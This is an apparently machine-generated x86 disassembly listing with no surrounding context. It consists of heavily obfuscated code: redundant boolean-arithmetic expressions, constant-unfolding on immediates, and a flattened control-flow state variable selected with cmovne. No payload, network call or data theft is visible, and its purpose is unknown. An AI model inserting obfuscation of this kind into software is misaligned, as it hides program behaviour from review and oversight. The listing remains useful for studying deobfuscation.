xor dh, 0xff
mov bh, ch
xor bh, 0xff
mov bl, 1
xor bl, 1
or dh, bh
or bl, 1
xor dh, 0xff
and dh, bl
mov byte [ebp - 0x497], dh
mov bl, al
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and al, dh
or bl, al
mov dh, cl
xor dh, 0xff
mov al, bl
and al, dh
xor bl, 0xff
mov dh, cl
and dh, bl
or al, dh
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, dl
xor al, 0xff
mov bh, ah
xor bh, al
and bh, ah
mov al, ah
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and ah, bl
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, bl
or al, ah
or cl, dl
xor al, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dl, 1
xor dl, 0
mov ah, cl
and ah, 0
and bh, dl
mov byte [ebp - 0x499], bh
mov bh, bl
and bh, 0
and al, dl
mov byte [ebp - 0x498], al
mov al, byte [ebp - 0x499]
or ah, al
mov al, byte [ebp - 0x498]
or bh, al
mov al, byte [ebp - 0x497]
xor ah, bh
or cl, bl
xor cl, 0xff
or dl, 0
and cl, dl
or ah, cl
mov bh, al
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or bh, cl
mov byte [ebp - 0x48e], bh
mov dl, dh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
mov cl, dh
and cl, bl
or dl, cl
mov cl, 1
xor cl, 1
and cl, 1
mov bl, 1
xor bl, 1
and bl, 1
or cl, bl
mov byte [ebp - 0x48f], cl
mov cl, 1
xor cl, 1
mov bl, bh
xor bl, cl
mov cl, byte [ebp - 0x48f]
and bl, bh
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0x496], al
mov al, 1
xor al, 0
mov byte [ebp - 0x495], al
mov al, byte [ebp - 0x496]
or cl, al
mov al, byte [ebp - 0x495]
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x48f]
mov byte [ebp - 0x494], cl
xor al, 0xff
mov cl, dh
xor cl, al
mov al, byte [ebp - 0x494]
and cl, dh
mov dh, bl
and dh, bh
xor bl, bh
or dh, bl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x490], bl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x491], bh
mov bh, 1
xor bh, 0
and bl, 0
and al, bh
mov byte [ebp - 0x493], al
mov al, byte [ebp - 0x491]
and al, 0
mov byte [ebp - 0x492], al
mov al, byte [ebp - 0x493]
and cl, bh
or bl, al
mov al, byte [ebp - 0x492]
or al, cl
mov cl, byte [ebp - 0x491]
xor bl, al
mov al, byte [ebp - 0x490]
or al, cl
mov cl, byte [ebp - 0x48f]
xor al, 0xff
or bh, 0
and al, bh
or bl, al
mov al, dh
xor al, 0xff
mov bh, bl
and bh, al
mov al, byte [ebp - 0x48e]
xor bl, 0xff
and dh, bl
or bh, dh
mov bl, al
and bl, dl
xor al, dl
or bl, al
mov al, bl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or al, bl
or dl, dh
xor al, dl
mov byte [ebp - 0x48a], al
mov dl, 1
xor dl, 1
mov byte [ebp - 0x48b], dl
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and dl, 0
mov al, dh
and al, 1
mov byte [ebp - 0x48d], al
mov al, bl
and al, 0
mov byte [ebp - 0x48c], al
mov al, byte [ebp - 0x48d]
and cl, dh
or dl, al
mov al, byte [ebp - 0x48c]
or al, cl
mov cl, byte [ebp - 0x48b]
xor dl, al
mov al, byte [ebp - 0x48a]
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or dl, cl
xor al, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov dl, cl
and dl, 0
and bh, dh
mov byte [ebp - 0x489], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x488], al
mov al, byte [ebp - 0x489]
or dl, al
mov al, byte [ebp - 0x488]
or bh, al
mov al, byte [ebp - 0x487]
xor dl, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or dl, cl
mov dh, ah
xor dh, 0xff
and dh, 0
mov bl, 1
xor bl, 0
mov bh, ah
and bh, bl
mov cl, 1
xor cl, 1
and cl, 0
and bl, 1
or dh, bh
or cl, bl
xor dh, cl
xor dh, 0xff
mov cl, dl
xor cl, dh
and cl, dl
mov dh, dl
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and dl, bl
or dh, dl
xor ah, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 1
or ah, dh
or dl, 1
xor ah, 0xff
and ah, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov ah, ch
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov dh, al
xor dh, 0xff
mov ah, ch
and ah, dh
xor ch, 0xff
and al, ch
or ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov bl, al
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or bl, cl
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov cl, 1
xor cl, 1
and cl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 0
or al, ch
or ah, 0
xor al, 0xff
and al, ah
mov bh, 1
xor bh, 1
and bh, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or bh, dh
or ah, ch
xor bh, ah
xor bh, 0xff
mov ch, 1
xor ch, 1
mov ah, 1
xor ah, 1
or bh, ch
or ah, 1
xor bh, 0xff
and bh, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x484], cl
mov cl, bl
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dh, cl
and dh, 0
and bl, ah
mov byte [ebp - 0x486], bl
mov bl, ch
and bl, 0
and al, ah
mov byte [ebp - 0x485], al
mov al, byte [ebp - 0x486]
or dh, al
mov al, byte [ebp - 0x485]
or bl, al
mov al, byte [ebp - 0x484]
xor dh, bl
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or dh, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 0
mov ch, cl
and ch, 0
and bh, ah
mov byte [ebp - 0x483], bh
mov bh, bl
and bh, 0
and al, ah
mov byte [ebp - 0x482], al
mov al, byte [ebp - 0x483]
or ch, al
mov al, byte [ebp - 0x482]
or bh, al
mov al, byte [ebp - 0x481]
xor ch, bh
or cl, bl
xor cl, 0xff
or ah, 0
and cl, ah
or ch, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bl
or cl, dh
or ah, ch
xor cl, ah
mov byte [ebp - 0x476], cl
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
and al, cl
or ch, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov byte [ebp - 0x477], bh
mov cl, 1
xor cl, 1
mov al, ah
xor al, cl
and al, ah
mov cl, 1
xor cl, 1
mov bl, bh
xor bl, 0xff
mov dh, 1
xor dh, 1
or cl, bl
or dh, 1
xor cl, 0xff
and cl, dh
mov bl, 1
xor bl, 1
mov dh, ch
xor dh, bl
mov bl, byte [ebp - 0x481]
and dh, ch
mov byte [ebp - 0x47c], dh
xor bh, 0xff
mov dh, bl
xor dh, bh
and dh, bl
mov byte [ebp - 0x47e], dh
mov bl, al
xor bl, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x47d], dh
mov bh, 1
xor bh, 1
mov dh, bl
and dh, 0xff
and al, bh
mov byte [ebp - 0x480], al
mov al, byte [ebp - 0x47d]
and al, 0xff
mov byte [ebp - 0x47f], al
mov al, byte [ebp - 0x480]
and cl, bh
or dh, al
mov al, byte [ebp - 0x47f]
or al, cl
mov cl, byte [ebp - 0x47e]
xor dh, al
mov al, byte [ebp - 0x47d]
or bl, al
mov al, byte [ebp - 0x47c]
xor bl, 0xff
or bh, 1
and bl, bh
or dh, bl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x479], bl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x478], bh
mov bh, 1
xor bh, 0
and bl, 0
and al, bh
mov byte [ebp - 0x47b], al
mov al, byte [ebp - 0x478]
and al, 0
mov byte [ebp - 0x47a], al
mov al, byte [ebp - 0x47b]
and cl, bh
or bl, al
mov al, byte [ebp - 0x47a]
or al, cl
mov cl, byte [ebp - 0x479]
xor bl, al
mov al, byte [ebp - 0x478]
or cl, al
mov al, byte [ebp - 0x477]
xor cl, 0xff
or bh, 0
and cl, bh
or bl, cl
mov bh, dh
xor bh, 0xff
mov cl, bl
and cl, bh
xor bl, 0xff
and dh, bl
or cl, dh
mov dh, ah
and dh, ch
xor ah, ch
or dh, ah
mov bh, dh
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or bh, dh
or ah, ch
xor bh, ah
mov ah, al
and ah, 1
xor al, 1
or ah, al
xor bh, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or bh, ah
or al, 0
xor bh, 0xff
and bh, al
mov ah, cl
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov al, ah
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x476]
or bl, bh
xor al, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or al, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov ah, cl
xor ah, 0xff
mov al, ch
and al, ah
xor ch, 0xff
mov ah, cl
and ah, ch
or al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov al, dl
and al, ch
or cl, al
mov byte [ebp - 0x471], cl
mov bh, ah
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
mov al, ah
and al, ch
or bh, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov byte [ebp - 0x473], ch
mov dh, 1
xor dh, 0
mov al, cl
xor al, dh
and al, cl
mov dh, ch
xor dh, 0xff
mov cl, dl
xor cl, dh
and cl, dl
mov dl, bh
xor dl, 0xff
mov bl, 1
xor bl, 0
mov dh, 1
xor dh, 1
or dl, bl
or dh, 1
xor dl, 0xff
and dl, dh
xor ch, 0xff
mov dh, ah
xor dh, ch
and dh, ah
mov ch, al
xor ch, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x472], ah
mov bl, 1
xor bl, 1
mov ah, ch
and ah, 0xff
and al, bl
mov byte [ebp - 0x475], al
mov al, byte [ebp - 0x472]
and al, 0xff
mov byte [ebp - 0x474], al
mov al, byte [ebp - 0x475]
and cl, bl
or ah, al
mov al, byte [ebp - 0x474]
or al, cl
mov cl, byte [ebp - 0x473]
xor ah, al
mov al, byte [ebp - 0x472]
or ch, al
mov al, byte [ebp - 0x471]
xor ch, 0xff
or bl, 1
and ch, bl
or ah, ch
mov ch, dl
and ch, dh
xor dl, dh
or ch, dl
mov dh, ah
xor dh, 0xff
mov dl, ch
and dl, dh
xor ch, 0xff
and ah, ch
or dl, ah
mov byte [ebp - 0x470], dl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dh, dl
and dh, 0
and al, ah
mov bl, ch
and bl, 0
and bh, ah
or dh, al
mov al, byte [ebp - 0x470]
or bl, bh
xor dh, bl
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or dh, dl
mov dl, dh
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
mov ah, cl
and ah, 0
xor cl, 0
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2a33c321
mov ecx, 0x31d7dd59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov dword [ebp - 0x1a8], 0xa46dc1c5
jmp 0x4b4ff5
mov eax, dword [0x6525dc]
mov ecx, dword [0x6525d8]
mov esi, 0x841ac4a1
add esi, 0
sub esi, 0xf6eba7cf
sub esi, 0x841ac4a1
mov edx, eax
sub edx, 0xec861d56
add edx, esi
add edx, 0xec861d56
xor esi, esi
sub esi, 1
add esi, 0
add edx, 0x8d7d6839
add edx, esi
sub edx, 0x8d7d6839
add edx, 0x5781db61
sub edx, 0x4caef488
sub edx, 0x5781db61
add edx, 0xe835c905
add edx, 0xf6eba7cf
sub edx, 0xe835c905
xor esi, esi
sub esi, 0x4caef488
sub edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x556], al
cmp ecx, 0xa
setl bl
mov dl, al
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov ch, al
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov bh, 1
xor bh, 1
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, 1
xor cl, 1
and cl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov al, bh
xor al, 0xff
mov dl, ch
xor dl, 0xff
mov cl, 1
xor cl, 0
mov dh, al
and dh, 0
and bh, cl
mov ah, dl
and ah, 0
and ch, cl
or dh, bh
or ah, ch
xor dh, ah
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or dh, al
mov dl, bl
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or dl, al
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov ah, bl
xor ah, 0xff
mov cl, ch
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov al, 1
xor al, 1
and al, 1
mov byte [ebp - 0x55b], al
mov bh, 1
xor bh, 1
mov cl, bh
and cl, 1
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x55a], al
mov al, byte [ebp - 0x55b]
and bh, 1
or al, cl
mov cl, byte [ebp - 0x55a]
or cl, bh
xor al, cl
mov cl, 1
xor cl, 1
mov bh, al
xor bh, cl
and bh, al
mov al, 1
xor al, 1
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0x557], cl
mov dl, bh
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and bh, ah
mov byte [ebp - 0x559], bh
mov bh, ch
and bh, 0
and al, ah
mov byte [ebp - 0x558], al
mov al, byte [ebp - 0x559]
or cl, al
mov al, byte [ebp - 0x558]
or bh, al
mov al, byte [ebp - 0x557]
xor cl, bh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ch, cl
and ch, dl
xor cl, 0xff
and al, cl
or ch, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
xor dl, 0xff
xor dl, 0
and dl, 0
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x520], al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov bh, dh
xor bh, 0xff
and bh, 1
mov al, 1
xor al, 1
mov ah, dh
and ah, al
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, al
mov al, byte [ebp - 0x556]
or bh, ah
or cl, dl
xor bh, cl
xor bh, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, al
mov al, byte [ebp - 0x520]
or cl, ah
xor dl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
and al, cl
or ah, al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x554], al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x555], cl
and cl, 1
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x552], al
mov al, byte [ebp - 0x555]
and al, 1
mov byte [ebp - 0x553], al
mov al, byte [ebp - 0x554]
or al, cl
mov cl, byte [ebp - 0x553]
mov byte [ebp - 0x551], al
mov al, byte [ebp - 0x552]
or al, cl
mov cl, byte [ebp - 0x551]
xor cl, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov byte [ebp - 0x54c], al
mov dl, 1
xor dl, 1
mov byte [ebp - 0x54e], dl
mov al, cl
xor al, 0xff
mov byte [ebp - 0x54d], al
mov ah, 1
xor ah, 0
and dl, 0
mov al, ah
and al, 1
mov byte [ebp - 0x550], al
mov al, byte [ebp - 0x54d]
and al, 0
mov byte [ebp - 0x54f], al
mov al, byte [ebp - 0x550]
and cl, ah
or dl, al
mov al, byte [ebp - 0x54f]
or al, cl
mov cl, byte [ebp - 0x54e]
xor dl, al
mov al, byte [ebp - 0x54d]
or cl, al
mov al, byte [ebp - 0x54c]
xor cl, 0xff
or ah, 0
and cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
and al, ah
mov byte [ebp - 0x54b], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x54a], al
mov al, byte [ebp - 0x54b]
and ah, 1
or cl, al
mov al, byte [ebp - 0x54a]
or al, ah
xor cl, al
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov byte [ebp - 0x544], al
mov ah, 1
xor ah, 0
and ah, 0
mov dl, 1
xor dl, 0
mov al, dl
and al, 0
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ah, al
mov al, byte [ebp - 0x520]
or cl, dl
xor ah, cl
mov dl, ch
xor dl, 0xff
mov cl, ah
and cl, dl
xor ah, 0xff
mov dl, ch
and dl, ah
or cl, dl
xor cl, 0xff
mov ah, ch
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov byte [ebp - 0x536], cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and bl, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, bl
or dl, ah
xor cl, dl
mov byte [ebp - 0x549], cl
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
and al, cl
or ah, al
mov cl, 1
xor cl, 1
and cl, 0
mov bl, 1
xor bl, 0
mov al, bl
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
and bl, 1
or cl, al
mov al, byte [ebp - 0x549]
or dl, bl
xor cl, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ah, 1
xor ah, 1
mov byte [ebp - 0x545], ah
mov bl, cl
xor bl, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x546], al
and ah, 0
and al, 1
mov byte [ebp - 0x548], al
mov al, bl
and al, 0
mov byte [ebp - 0x547], al
mov al, byte [ebp - 0x546]
and cl, al
mov al, byte [ebp - 0x548]
or ah, al
mov al, byte [ebp - 0x547]
or al, cl
mov cl, byte [ebp - 0x546]
xor ah, al
mov al, byte [ebp - 0x545]
or al, bl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov cl, dl
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dl, bl
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or cl, dl
mov dl, byte [ebp - 0x544]
or al, bl
xor cl, al
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov byte [ebp - 0x534], al
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, bh
and al, ah
or cl, al
mov byte [ebp - 0x53d], cl
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dl, ah
or al, dl
mov byte [ebp - 0x53e], al
mov ah, 1
xor ah, 1
and ah, 1
mov bl, 1
xor bl, 1
mov al, bl
and al, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and bl, 1
or ah, al
mov al, byte [ebp - 0x53e]
or dl, bl
xor ah, dl
mov bl, 1
xor bl, 1
mov dl, cl
xor dl, bl
and dl, cl
xor bh, 0xff
mov bl, ah
xor bl, 0xff
mov cl, 1
xor cl, 0
or bh, bl
or cl, 0
xor bh, 0xff
and bh, cl
xor al, 0xff
mov cl, 1
xor cl, 1
mov bl, 1
xor bl, 0
or al, cl
mov cl, byte [ebp - 0x544]
or bl, 0
xor al, 0xff
and al, bl
mov byte [ebp - 0x543], al
xor cl, 0xff
mov al, ah
xor al, 0xff
mov bl, 1
xor bl, 1
or cl, al
mov al, byte [ebp - 0x543]
or bl, 1
xor cl, 0xff
and cl, bl
mov bl, dl
and bl, bh
xor dl, bh
or bl, dl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x53f], bh
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x540], dl
mov dl, 1
xor dl, 0
and bh, 0
and al, dl
mov byte [ebp - 0x542], al
mov al, byte [ebp - 0x540]
and al, 0
mov byte [ebp - 0x541], al
mov al, byte [ebp - 0x542]
and cl, dl
or bh, al
mov al, byte [ebp - 0x541]
or al, cl
mov cl, byte [ebp - 0x540]
xor bh, al
mov al, byte [ebp - 0x53f]
or al, cl
mov cl, byte [ebp - 0x53e]
xor al, 0xff
or dl, 0
and al, dl
or bh, al
mov al, bl
xor al, 0xff
mov dl, bh
and dl, al
mov al, byte [ebp - 0x53d]
xor bh, 0xff
and bl, bh
or dl, bl
mov byte [ebp - 0x539], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x53a], dl
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
and dl, 0xff
and al, bl
mov byte [ebp - 0x53c], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x53b], al
mov al, byte [ebp - 0x53c]
and cl, bl
or dl, al
mov al, byte [ebp - 0x53b]
or al, cl
mov cl, byte [ebp - 0x53a]
xor dl, al
mov al, byte [ebp - 0x539]
or cl, bh
xor cl, 0xff
or bl, 1
and cl, bl
or dl, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dl, bl
or cl, dl
mov dl, ah
and dl, 1
xor ah, 1
or dl, ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov cl, al
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
mov bl, cl
and bl, 0xff
and al, dl
mov byte [ebp - 0x538], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x537], al
mov al, byte [ebp - 0x538]
and bh, dl
or bl, al
mov al, byte [ebp - 0x537]
or al, bh
mov bh, byte [ebp - 0x534]
xor bl, al
mov al, byte [ebp - 0x536]
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or bl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov byte [ebp - 0x52c], cl
mov ah, bh
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
and bh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, bh
or al, dl
xor ah, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
xor cl, 0xff
mov al, 1
xor al, 0
mov bh, 1
xor bh, 1
or cl, al
mov al, byte [ebp - 0x536]
or bh, 1
xor cl, 0xff
and cl, bh
mov byte [ebp - 0x533], cl
xor al, 0xff
mov bh, dl
xor bh, 0xff
mov cl, 1
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x535], al
mov al, ah
xor al, 0xff
mov cl, 1
xor cl, 0
mov bh, 1
xor bh, 1
or al, cl
mov cl, byte [ebp - 0x535]
or bh, 1
xor al, 0xff
and al, bh
mov bh, byte [ebp - 0x534]
mov byte [ebp - 0x532], al
mov al, dl
xor al, 0xff
xor bh, al
mov al, byte [ebp - 0x534]
and bh, al
mov al, byte [ebp - 0x533]
mov byte [ebp - 0x531], bh
mov bh, al
and bh, cl
xor al, cl
mov cl, byte [ebp - 0x531]
or bh, al
mov al, byte [ebp - 0x532]
and al, cl
mov cl, byte [ebp - 0x532]
mov byte [ebp - 0x530], al
mov al, byte [ebp - 0x531]
xor cl, al
mov al, byte [ebp - 0x530]
or al, cl
mov cl, bh
xor cl, 0xff
and cl, 0
mov byte [ebp - 0x52f], cl
mov cl, 1
xor cl, 0
and bh, cl
mov byte [ebp - 0x52e], bh
mov bh, al
xor bh, 0xff
and bh, 0
and al, cl
mov cl, byte [ebp - 0x52f]
mov byte [ebp - 0x52d], al
mov al, byte [ebp - 0x52e]
or cl, al
mov al, byte [ebp - 0x52d]
or bh, al
mov al, byte [ebp - 0x52c]
xor cl, bh
mov byte [ebp - 0x52b], cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and cl, bh
mov ah, 1
xor ah, 1
and ah, 0
and bh, 1
or al, cl
mov cl, byte [ebp - 0x52b]
or ah, bh
xor al, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
xor al, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x529], bh
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 1
and bh, 0xff
mov byte [ebp - 0x52a], bh
and cl, dl
mov bh, ah
and bh, 0xff
and al, dl
mov byte [ebp - 0x528], al
mov al, byte [ebp - 0x52a]
or al, cl
mov cl, byte [ebp - 0x529]
mov byte [ebp - 0x527], al
mov al, byte [ebp - 0x528]
or bh, al
mov al, byte [ebp - 0x527]
xor al, bh
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x524], al
mov ah, bl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, bl
and cl, dl
or ah, cl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
xor bl, 0xff
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 1
or bl, dl
or cl, 1
xor bl, 0xff
and bl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
mov byte [ebp - 0x526], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x525], al
mov al, byte [ebp - 0x526]
and dl, 1
or cl, al
mov al, byte [ebp - 0x525]
or al, dl
xor cl, al
mov al, 1
xor al, 1
mov dl, cl
xor dl, al
mov al, byte [ebp - 0x524]
and dl, cl
xor al, 0xff
xor bh, 0xff
mov cl, 1
xor cl, 0
or al, bh
or cl, 0
xor al, 0xff
and al, cl
mov cl, ah
and cl, bl
xor ah, bl
or cl, ah
mov byte [ebp - 0x521], cl
mov ah, dl
xor ah, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
mov cl, ah
and cl, 0xff
and dl, bl
mov byte [ebp - 0x523], dl
mov dl, bh
and dl, 0xff
and al, bl
mov byte [ebp - 0x522], al
mov al, byte [ebp - 0x523]
or cl, al
mov al, byte [ebp - 0x522]
or dl, al
mov al, byte [ebp - 0x521]
xor cl, dl
mov dl, byte [ebp - 0x520]
or ah, bh
xor ah, 0xff
or bl, 1
and ah, bl
or cl, ah
mov ah, al
xor ah, 0xff
mov bl, cl
and bl, ah
xor cl, 0xff
and al, cl
or bl, al
mov al, dh
xor al, 0xff
mov ah, ch
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov ah, dh
xor ah, 0xff
and ah, 1
mov bh, 1
